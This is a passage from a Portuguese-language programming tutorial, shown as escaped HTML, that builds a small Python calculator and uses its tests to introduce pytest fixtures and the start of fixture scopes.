&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; my_calc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;calc &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; calc


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_one_is_equal_two&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Antes de ir, vamos refatorar a solução:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# my_calc/calc.py&lt;/span&gt;

OPERATIONS &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;lambda&lt;/span&gt; x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; y
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;calc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; operation&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; OPERATIONS&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;operation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Fixtures&lt;/h3&gt;
&lt;p&gt;Para apresentar o conceito de &lt;em&gt;fixtures&lt;/em&gt;, vamos deixar a calculadora ainda mais &quot;maluca&quot; (para esconder a falta de criatividade de quem vos escreve). Vamos supor que há a seguinte demanda:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; dataclasses &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; dataclass
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; my_calc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;calc &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; calc


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@dataclass&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FakeWrappedValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    value&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    wrapped_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; FakeWrappedValue&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Os testes vão obviamente falhar. Vamos corrigir a função &lt;code class=&quot;language-text&quot;&gt;calc&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;calc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; operation&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;getattr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; OPERATIONS&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;operation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainda precisamos garantir que &lt;code class=&quot;language-text&quot;&gt;num2&lt;/code&gt; possa também receber um objeto com atributo &lt;code class=&quot;language-text&quot;&gt;value&lt;/code&gt;.
Para fins didáticos, vamos escrever um novo teste:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_wrapper_object_with_twentyis_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    wrapped_value &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; FakeWrappedValue&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; wrapped_value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; resul&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O testes falharão novamente. Corrigimos novamente a função:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;calc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; operation&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;getattr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num1&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;getattr&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num2&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;value&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; OPERATIONS&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;operation&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Testes passando novamente, e enfim podemos falar sobre &lt;em&gt;fixtures&lt;/em&gt;. Segundo o
&lt;a href=&quot;https://realpython.com/pytest-python-testing/&quot; title=&quot;Leia o excelente artigo sobre Pytest&quot;&gt;&lt;em&gt;Real Python&lt;/em&gt;&lt;/a&gt;, &lt;em&gt;fixtures&lt;/em&gt; são:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) a way of providing data, test doubles, or state setup to your tests. Fixtures are functions that can return a wide range of values. Each test that depends on a fixture must explicitly accept that fixture as an argument.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Com auxílio do &lt;em&gt;decorator&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;@fixture&lt;/code&gt;, somos capazes de escrever uma função que pode
ser reaproveitada por diferentes testes. Faremos isso com a instância de &lt;code class=&quot;language-text&quot;&gt;FakeWrappedValue&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; pytest
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; dataclasses &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; dataclass
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; my_calc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;calc &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; calc


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@dataclass&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FakeWrappedValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    value&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wrapped_value_with_twenty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; FakeWrappedValue&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_one_is_equal_two&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_wrapper_object_with_twentyis_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note a função &lt;code class=&quot;language-text&quot;&gt;wrapped_value_with_twenty&lt;/code&gt; decorada com &lt;code class=&quot;language-text&quot;&gt;pytest.fixture&lt;/code&gt;. Outro ponto importante é que as funções que utilizam esse parâmetro agora recebem ele como argumento.
Por exemplo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_wrapper_object_with_twenty_plus_one_is_equal_to_twenty_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;wrapped_value_with_twenty&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;21&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Fixtures&lt;/em&gt; podem ajudar a abstrair complexidades que não fazem sentido serem evidenciadas
no corpo do teste. Por exemplo (e perceba que esse é um exemplo infinitamente bobo), podemos esconder a &quot;complexidade&quot; de instanciar um objeto com &lt;code class=&quot;language-text&quot;&gt;value&lt;/code&gt; vazio:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;empty_wrapped_value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; FakeWrappedValue&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_wrapper_object_with_empty_value_plus_one_is_equal_to_one&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;empty_wrapped_value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;empty_wrapped_value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Os testes vão quebrar. Ficará ao seu encargo resolver essa aí ;)&lt;/p&gt;
&lt;h3&gt;Escopos&lt;/h3&gt;
&lt;p&gt;Juntamente com as &lt;em&gt;fixtures&lt;/em&gt; vem o conceito de &lt;em&gt;scopes&lt;/em&gt;. É possível encontrar cinco tipos diferentes,
e podemos começar pelo já explorado &quot;function&quot;.&lt;/p&gt;
&lt;p&gt;No exemplo de &lt;em&gt;fixtures&lt;/em&gt; da seção anterior, utilizamos esse tipo de escopo. Por padrão, &lt;em&gt;fixtures&lt;/em&gt; são definidas
com o escopo de função, significando que a &lt;em&gt;fixture&lt;/em&gt; será executada por &lt;em&gt;test function&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;O escopo &lt;code class=&quot;language-text&quot;&gt;class&lt;/code&gt; traz um comportamento um pouco diferente. Quando aplicado a uma classe,
ele funciona como o &lt;code class=&quot;language-text&quot;&gt;setUpClass&lt;/code&gt; do &lt;code class=&quot;language-text&quot;&gt;unittest&lt;/code&gt;. Vamos mudar o arquivo de testes para
vislumbrar a diferença entre esses dois tipos de escopo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; dataclasses &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; dataclass

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; pytest
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; my_calc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;calc &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; calc


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@dataclass&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;FakeWrappedValue&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    value&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;float&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wrapped_value_with_twenty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Function fixture&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; FakeWrappedValue&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;value&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@pytest&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fixture&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;scope&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;class&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;x_and_y&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Class fixture&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
